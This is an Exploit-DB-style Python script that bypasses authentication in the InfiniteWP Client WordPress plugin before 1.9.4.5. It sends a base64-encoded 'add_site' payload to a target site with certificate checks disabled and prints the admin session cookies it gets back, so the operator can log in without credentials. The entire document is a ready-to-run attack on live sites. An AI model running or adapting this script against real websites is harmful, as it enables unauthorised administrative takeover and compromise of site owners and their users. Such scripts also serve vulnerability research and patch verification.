# Exploit Title: Wordpress Plugin InfiniteWP Client 1.9.4.5 - Authentication Bypass # Date: 2020-1-16 # Exploit Author: Raphael Karger # Vendor Homepage: https://infinitewp.com/ # Version: InfiniteWP Client < 1.9.4.5 #!/usr/bin/python3 import requests import json import argparse import base64 import json import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit(site, username): json_info = {"iwp_action":"add_site","params":{"username": username}} try: return requests.post(site, timeout=5, verify=False, headers={"User-Agent" : "raphaelrocks"}, data="_IWP_JSON_PREFIX_{}".format(base64.b64encode(json.dumps(json_info).encode("utf-8")).decode("utf-8")) ) except Exception as e: print("[-] HTTP Exploit Error: {}".format(e)) return False if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-n", "--username", dest="username", help="Username of admin, default is admin", default="admin") parser.add_argument("-u", "--url", dest="url", help="Root URL of Site") args = parser.parse_args() site_exploit = exploit(args.url, args.username) if site_exploit and site_exploit.status_code == requests.codes.ok: cookie_string = "; ".join([str(x)+"="+str(y) for x,y in site_exploit.cookies.items()]) if cookie_string: print("[+] Use Cookies to Login: \n{}".format(cookie_string)) exit(0) print("[-] Exploit Failed")